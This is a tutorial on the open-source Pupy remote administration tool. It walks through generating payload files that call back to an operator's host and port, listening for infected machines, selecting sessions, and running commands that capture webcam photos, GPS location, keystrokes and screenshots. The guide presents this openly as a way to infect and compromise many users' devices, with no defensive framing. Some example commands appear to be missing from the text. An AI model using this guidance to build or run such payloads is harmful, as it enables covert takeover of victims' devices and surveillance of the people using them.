Pupy



Pupy is a Remote Administration tool (RAT) written in python that allows you to generate files to take over operating systems remotely. It is one of the most popular RAT packages available online since it is open-source and cross-platform(windows, Linux, OSX).

**Installation**

There are many ways to install pupy. The simplest to install is the following. Type every command line by line.



**This guide is meant for users who used this installation method. Most of the commands will work if another installation method is used, but they require a bit of modification**

**Running**

Pupy is made of two components: **pupygen** and **pupysh**. Working in conjunction they you to create files to infect user devices and send commands to those to retrieve data available.

**Pupygen**

Pupygen generates the file that can run on the targets computer and pupysh manages the targets systems. It can generate files for windows, android, Linux, Solaris operating systems. This allows the user to compromise a vast amount of systems.

An example command to generate a file is as follows



The format of the command is

*-O {android, windows, linux, solaris} -A {x86,x64} {connect –host host:port} -t {ssl, http, ecm, obfse3, etc..} –output filename.ext*

As you can see there many options that you can work with. You can select the architecture of file and ip address of the host machine. You can also select the transport protocol.

To get more information on pupygen use the help parameter.

*pupygen -h*

**Pupysh**

Malware is used to infect thousands of computers worldwide. How do hackers manage them all? Pupysh is an example on how its possible. It allows the user to command to the computers are infected with the malware generated by pupy. It allows to select the computers you want to target.

You can run it with:

*pupysh*

Example of how the initial program start looks like



 Once pupysh is run, it will start listening to its default port and use the default transport protocol. To change this run:

*listen -a ssl 4444*

**Remember this must be the port that was provided to the generated program**

After setting the correct port, the devices will now be able to communicate with your computer. You can see all the clients that you can communicate with using the following command

*Sessions*



Here it allows you select the individual machines that can be targeted. To target a specific machine

*Sessions -I #*

To get a list of commands that can be used to attack a system

*help -M*

This command will give you a list of commands that can be used on the specific system. These commands will be different depending on what operating system you are targeting.

Examples of commands:

Android

|  |  |
| --- | --- |
| *webcamsnap* | Used to take a photo through the phones main camera |
| *gpstracker --get-position* | Get the targets current longitude and latitude coordinates |



Windows

|  |  |
| --- | --- |
| *keylogger {start, stop}* | Turn on and off the keylogger. After turning off a log of the keys types will be displayed |
| *screenshot* | Take a screenshot of the target desktop |

You can get instructions of on how to use every command by using -h after the command. It will show you all the parameters that can be used to make the command function.

 To exit just type *exit* on the shell.